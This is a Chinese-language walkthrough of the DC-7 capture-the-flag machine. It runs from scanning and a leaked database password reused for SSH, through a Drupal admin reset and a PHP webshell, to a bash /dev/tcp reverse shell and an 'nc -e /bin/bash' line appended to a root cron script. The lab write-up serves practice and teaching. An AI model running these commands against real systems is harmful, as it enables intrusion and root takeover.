探测局域网内存活主机
nmap -sP 192.168.19.128/24
发现存活主机192.168.19.134,扫描其开放端口
nmap -p- 192.168.19.134
结果如下
22/tcp open ssh
80/tcp open http
访问80端口
渗透
现用whatweb扫描看一下是什么
whatweb -v 192.168.19.134
发现使用的是Drupal开源CMS框架.然而本题的漏洞点实际不出在这.我们可以看到网站的下面存在DC7USER字样猜测是作者签名
搜索发现github有作者留下来的源码.
其中存在config.php如下.
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
直接使用username和password去登录ssh.(为什么不尝试登录web?因为web的登录账号密码一定是会放在db中的,不会放到文件中)
ssh [email protected] -p 22
我们发现存在mbox文件,查看发现包含如下内容
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3EPu-0000CV-5C@dc-7>
Date: Thu, 29 Aug 2019 17:00:22 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
可以知道数据库保存到/home/dc7user/backups/website.sql
然后我们还看到了有cron定时以root用户权限执行/opt/scripts/backups.sh
我们查看这个文件
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
可以看到就是定时对数据库和网站文件进行备份和加密的过程.我们查看该文件的权限
ls -l /opt/scripts
如下
-rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh
我们只有读和执行的权限,并没有写的权限.这个文件属于root,因此如果我们如果能追加一个/bin/bash,那么在这个脚本定时以root权限运行的时候就能做到提权
由于使用的是Drupal开源CMS框架,因此我们可以进行数据库的修改
cd /var/www/html
drush sql-dump --result-file=/home/dc7user/backups/website.sql
我们先将数据库dump出来,然后对其进行修改
drush user-password admin --password=123456
然后我们在web端进行登录.
发现可以在Content—>Add content->Basic page去添加文章,然而只能添加html格式的,这显然不是很好.
查阅资料发现Drupal8以后为了安全问题只允许文章为html格式,但是可以添加扩展.
点击Extend->List->Install new model
然后添加我们在网上找到的扩展的网址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
然后点击Enable newly added modules去进行安装
勾选PHP Filter然后点击Install
此时再去添加文章时显示可以选择PHP Code.
写入一句话木马,然后用蚁剑链接马,url为http://192.168.19.134/node/4
提权
反弹shell到kali
nc -lvvp 2333 #kali
bash -c 'bash -i >& /dev/tcp/192.168.19.128/2333 0>&1' #蚁剑
然后我们此时用户为www-data,有权限向/opt/scripts/backups.sh
中去添加提权.
我们可以直接在蚁剑中向该文件写入
nc -e /bin/bash 192.168.19.128 12345
然后再kali下另开一个终端去接收
nc -lvvp 12345
等待一万年直到cron运行了脚本,提权成功.
去root home查看flag